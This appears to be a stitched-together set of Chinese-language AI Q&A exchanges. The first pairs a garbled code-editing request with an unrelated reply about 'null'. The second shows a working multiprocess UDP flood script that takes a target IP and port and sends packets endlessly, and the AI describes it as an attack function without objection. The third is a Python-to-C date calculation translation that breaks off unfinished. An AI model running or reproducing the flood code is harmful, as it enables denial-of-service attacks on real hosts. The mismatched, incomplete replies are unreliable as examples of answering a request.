怎么修改代码：month = ["%02d" % i for i in range(1,13,1)] day = ["%02d" % i for i in range(1,32,1)] featuresfeatures_poly = poly_transformer.get_feature_names(features) features_nonzero = np.array(features_poly)[lr.coef_ != 0] coef_nonzero = lr.coef_[lr.coef_ != 0] = month + day features

As an AI language model, I do not have emotions, and I do not understand the concept of null in a human sense. However, in computer programming, null usually refers to a variable with no assigned value or an empty reference to an object.

def attack(P_num,ip,port): import sys import os import time import socket import random # Code Time from datetime import datetime now = datetime.now() hour = now.hour minute = now.minute day = now.day month = now.month year = now.year sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sent=0 while True: sock.sendto(bytes, (ip, port)) sent = sent + 1 port = port + 1 print("%s Proccess Sent %s packet to %s throught port:%s" % (P_num,sent, ip, port)) if port == 65534: port = 1 if __name__ == '__main__': import os from multiprocessing import Process ip = input("IP Target : ") port = int(input("Port : ")) num=input("并行数 :") list=[] for i in range(int(num)): p=Process(target=attack,args=(i,ip,port)) list.append(p) for i in list: i.start() for i in list: i.join()

这是一个Python函数，用于进行攻击。它的参数是"P_num"，"ip"和"port"。其中，"P_num"表示攻击使用的进程数，"ip"表示目标IP地址，"port"表示目标端口号。

在函数中，导入了一些必要的Python库，包括"sys"、"os"、"time"和"socket"等。同时，还导入了"random"库，用于生成随机数。

该函数的具体实现需要看更多代码。

将下面的编程翻译为C语言# -*- coding:utf-8 -*- year, month, day = map(int, input().split()) # 判断是否为闰年 def is_leap_year(year): if year % 400 == 0 or (year % 4 == 0 and year % 100 != 0): return True else: return False # 计算该年的天数 def days_of_year(year): if is_leap_year(year): return 366 else: return 365 # 计算该月的天数 def days_of_month(year, month): days = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] if is_leap_year(year): days[1] = 29 return days[month - 1] # 计算从公元1年1月1日到该日期前一年的年末总共有多少天 days = 0 for i in range(1, year): days += days_of_year(i) days -= days_of_month(year, month) - day print(days) # 计算到该日期前一个月的月末总共有多少天 days = 0 for i in range(1, month): days += days_of_month(year, i) if month == 2 and is_leap_year(year): days += 1 days += day print(days) # 计算到这一天总共有多少天，并求出这一天是星期几 days = 0 for i in range(1, month): days += days_of_month(year, i) if month == 2 and is_leap_year(year): days += 1 days += day week = (days + 5) % 7 week_dict = {0: 'Sunday', 1: 'Monday', 2: 'Tuesday', 3: 'Wednesday', 4: 'Thursday', 5: 'Friday', 6: 'Saturday'} print(days) print(week_dict[week])

以下是将 Python 代码翻译成 C 代码的实现：

#include <stdio.h>

// 判断是否为闰年
int is_leap_year(int year) {
    if (year % 400 == 0 || (year % 4 == 0 && year % 100 != 0)) {
        return 1;
    } else {
        return 0;
    }
}

// 计算该年的天数
int days_of_year(int year) {
    if (is_leap_year(year)) {
        return 366;
    } else {
        return 365;
    }
}

// 计算该月的天数
int days_of_month(int year, int month) {
    int days[] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};
    if (is_leap_year(year)) {
        days[1] = 29;
    }
    return days[month - 1];
}

int main() {
    int year, month, day;
    scanf("%d %d %d", &year, &month, &day);

    // 计算从公元1年1月1日到该日期前一年的年末总共有多少天
    int days = 0;
    for (int i = 1; i < year; i++) {
        days += days_of_year(i);
    }
    days -= days_of_month(year, month) - day;
    printf("%d\n", days);

    // 计算到该日期前一个月的月末总共有多少天
    days = 0;
    for (int i = 1; i < month; i++) {
        days += days_of_month(year, i);
    }
    if (month == 2 && is_leap_year(year)) {
        days += 1;
    }
    days += day;
    printf("%d\n", days);

    // 计算到这一天总共有多少天，并求出这一天是星期几
    days = 0;
    for (int i = 1; i < month; i++) {
        days += days_of_month(year, i);
    }
    if (month == 2 && is_leap_year(year)) {
        days += 1;
    }
    days += day;
    int week = (days + 5) % 7;
    char* week_dict[] = {"Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"};
    printf("%d\n", days);
    printf("%s\n", week_dict[week]);

    return 0;
